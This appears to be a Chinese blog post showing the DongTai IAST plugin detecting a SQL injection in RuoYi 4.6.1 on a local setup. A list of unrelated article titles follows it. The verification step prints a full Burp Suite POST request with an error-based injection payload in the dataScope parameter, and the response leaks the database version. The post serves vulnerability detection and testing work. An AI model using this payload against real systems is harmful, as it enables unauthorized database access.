一、背景

因为看到 Xcheck 发的自动检测到开源项目 RuoYi 的 sql 注入漏洞,因此打算用该漏洞验证一下洞态 IAST 的漏洞检测能力。洞态 IAST 的检测方式是扫描运行中的应用程序,将扫描到的漏洞信息发送到云端进行处理、展示。

二、验证方式

本次验证选择在本地 IDEA 运行 Xcheck 测试的 RuoYi 版本(4.6.1),使用洞态 IAST 的 IDEA 插件对其进行快速检测。

三、本地环境搭建

  1. 克隆 RuoYi 源码
    $ git clone https://github.com/yangzongzhuan/RuoYi.git

注:RuoYi 新版本已修复漏洞,需要将项目版本改为4.6.1,或者直接下载 RuoYi-4.6.1的源码包。

RuoYi-4.6.1源码下载:[https://github.com/yangzongzhuan/RuoYi/archive/refs/tags/v4.6.1.zip][0]

  1. 使用 IDEA 打开项目
  2. 修改ruoyi-admin模块下的application-druid.yml中的数据库信息,将username和password改为本地数据库

  1. 创建数据库ry,导入项目sql文件夹下的.sql文件

    mysql -utest -p1234 -e "CREATE DATABASE ry DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;"
    mysql -utest -p1234 ry<quartz.sql
    mysql -utest -p1234 ry<ry_20210210.sql
    

四、IDEA插件的下载与安装

  1. 下载 DongTai IAST 插件 下载地址:[DongTai-Plugin-IDEA.zip][0]
  2. 安装
  3. 打开 IDEA preferences 界面的 Plugins,选择从本地下载,导入下载好的插件DongTai-Plugin-IDEA.zip。

  • 选中插件,启动插件功能(无需重新启动IDEA)。

官方文档:[https://hxsecurity.github.io/DongTaiDoc/#/doc/tutorial/plugin][0]

五、运行项目

1.使用插件功能“Run With IAST”或者“Debug With IAST”启动项目
  • 使用 IDEA 打开本次检测项目“[RuoYi][1]”,版本为4.6.1。
  • 配置好数据库等配置文件,使用“Run With IAST”或者“Debug With IAST”启动或调试项目。**注意:第一次使用该功能需要配置Token(Token需要登陆洞态IAST官网在 部署IAST 中获取,详细请看[官方文档][0])。

  • 项目启动成功,访问 127.0.0.1:80

六、漏洞检测

1.测试项目功能,开始被动式挖洞。访问“角色管理”功能,会现“[http://localhost/system/role/list的POST请求出现SQL注入漏洞][0]”。

2. 查看“漏洞列表”面板
  • 访问项目功能后,打开“漏洞列表”面板,查看已检测到的漏洞的概要信息

  • 查看“http://localhost/system/role/list的POST请求出现SQL注入漏洞”,选中它然后点击查看详情,跳转到洞态IAST漏洞详情页面,开始分析漏洞

七、漏洞验证

使用Burp Suite进行抓包,进行报错注入获取到数据库的版本号。

POST /system/role/list HTTP/1.1
Host: localhost
Content-Length: 214
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=142a87a0-faef-479c-a158-67de9d8b14aa
Connection: closepageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc&roleName=&roleKey=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=¶ms%5BdataScope%5D=and extractvalue(rand(),+concat(0x3a,substring(version(),1,30)))=1

通过注入获取到了数据库的版本号,漏洞验证成功。

HTTP/1.1 200
Content-Type: application/json
Date: Mon, 12 Jul 2021 06:34:54 GMT
Connection: close
Content-Length: 1101{"msg":"运行时异常:\n### Error querying database.  Cause: java.sql.SQLException: XPATH syntax error: ':8.0.25'\n### The error may exist in URL [jar:file:/Users/erzhuangniu/workspace/bugenv/docker/ruoyi-admin.jar!/BOOT-INF/lib/ruoyi-system-4.6.1.jar!/mapper/system/SysRoleMapper.xml]\n### The error may involve com.ruoyi.system.mapper.SysRoleMapper.selectRoleList-Inline\n### The error occurred while setting parameters\n### SQL: SELECT count(0) FROM (SELECT DISTINCT r.role_id, r.role_name, r.role_key, r.role_sort, r.data_scope, r.status, r.del_flag, r.create_time, r.remark FROM sys_role r LEFT JOIN sys_user_role ur ON ur.role_id = r.role_id LEFT JOIN sys_user u ON u.user_id = ur.user_id LEFT JOIN sys_dept d ON u.dept_id = d.dept_id WHERE r.del_flag = '0' AND extractvalue(rand(), concat(0x3a, substring(version(), 1, 30))) = 1) table_count\n### Cause: java.sql.SQLException: XPATH syntax error: ':8.0.25'\n; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: ':8.0.25'; nested exception is java.sql.SQLException: XPATH syntax error: ':8.0.25'","code":500}

八、总结

通过本次测试发现洞态IAST在漏洞检出上效果很好,而且多次测试还检测出了RuoYi的其他漏洞,经过漏洞验证均为真实漏洞,而洞态IAST的IDEA插件又降低了检测漏洞的门槛,只需在IDEA中运行项目即可进行检测漏洞,十分方便,推荐大家尝试、使用。

九、参考

  • [Xcheck Java引擎漏洞挖掘&防护识别][0]
  • [DongTai][1]
  • [DongTai官方文档

洞态IAST检测RuoYi的sql注入漏洞相关推荐

  1. SQL注入漏洞的检测与防范技术

    提 要   本文从SQL注入的基本概念和注入原理入手,分析总结了SQL注入漏洞的检测及其防范技术措施. 关键词  SQL注入漏洞 检测 防范技术 引 言    近几年来随着计算机网络和WEB技术的飞速 ...

  2. 使用sqlmap检测sql注入漏洞

    一. sql注入概述并安装sqlmap漏洞查看工具 1. sql注入概述 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命 ...

  3. sqlmap注入教程linux,Linux Sqlmap检测sql注入漏洞工具安装使用教程

    Sqlmap工具 什么是SQLmap? SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹.访问底层文件系统.执行命令) sql注 ...

  4. sqlmap检测sql注入漏洞

    sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限.它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数 ...

  5. Sqlmap查找SQL注入漏洞入门

    Sqlmap查找SQL注入漏洞入门 1.安装sqlmap sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.注意:sqlmap只是用来检测和利用sql注入点的,使 ...

  6. 洞态IAST自动检测S2-001漏洞

    一.使用Dongtai-IAST检测S2-001漏洞 1. 启动在线靶场 登陆在线靶场:http://labs.iast.huoxian.cn:8081,启动`S2-001`环境,等待环境启动之后,点 ...

  7. 洞态IAST自动检测S2-007漏洞

    1. 启动在线靶场 登陆 在线靶场,启动S2-007环境,等待环境启动之后,点击访问靶场按钮即可前往靶场环境.该环境来源于vulhub和vulapps 2. 查看检测结果 登陆洞态IAST官方网站,查 ...

  8. 洞态 IAST v1.1.4 新版本来袭,DevSecOps 更进一步

    导语 洞态 IAST 自开源发布以来,一直保持着双周更新一版的节奏不断迭代.项目开启之初,社区小伙伴们参与的积极性很高,为洞态提出了许多建设性意见,也贡献了很多代码,很感谢洞态伙伴们的付出. Dong ...

  9. 洞态IAST在某互联网甲方的落地实践

    IAST作为开展SDL中黑白盒测试的有效补充,还是很有必要去了解使用的.笔者为了完善公司的SDL流程,调研了开源的IAST产品进行测试和内部推广 刚开始,笔者测试百度OpenRASP的IAST功能(主 ...

  10. 洞态IAST Python-agent 内测版 测试

    一.背景 洞态 IAST 首发 Python-agent 尝鲜,验证 Agent 针对路径穿越漏洞的检测能力. 洞态 IAST 的检测方式是扫描运行中的应用程序,将扫描到的漏洞信息发送到云端进行检测处 ...

最新文章

  1. 【camera-lidar】自动驾驶相机-激光雷达融合方案综述
  2. linux学习两周总结
  3. arp/ip地址/路由--总之很乱
  4. 华为首款搭载鸿蒙os 荣耀智慧屏,全球首款搭载鸿蒙OS终端! 荣耀智慧屏将在今天拉开面纱...
  5. RabbitMQ(三)发布确认
  6. mysql 热切换_热备服务器中,切换master中切换SQL
  7. Android实现相册分享功能,Android系统自带分享功能的实现(可同时分享文字和图片)...
  8. Redis 基本操作
  9. 使用设计模式构建通用数据库访问类
  10. Java System类console()方法及示例
  11. 第五课 机器学习中的特征工程
  12. 机器学习笔记(十):机器学习系统的设计
  13. 安装python第三方库
  14. jQuery基础系列
  15. 车间调度建模系列1|复杂车间调度问题特点
  16. netty LEAK: ByteBuf.release() was not called before it's garbage-collected
  17. 自动驾驶技术(1)--控制工程篇概述
  18. python 路由追踪_tracert跟踪路由
  19. 华为手机提示更新包与已安装应用的签名不一致
  20. CentOS7下宽带连接

热门文章

  1. 极大似然估计法(Maximum likelihood estimation, MLE)
  2. 智能交通系统系统中的车牌识别技术
  3. CISSP考试指南笔记:1.2安全定义
  4. RC电路 微分器 积分器 滤波器
  5. Android Studio 配置 NDK 开发编译环境
  6. 深度强化学习算法 A3C (Actor-Critic Algorithm)
  7. java rgb8888转rgb565_Swift RGB888转RGB565
  8. gif一键抠图 在线_免费在线抠图软件
  9. 几种常用的电机控制法
  10. 微信小程序倒计时组件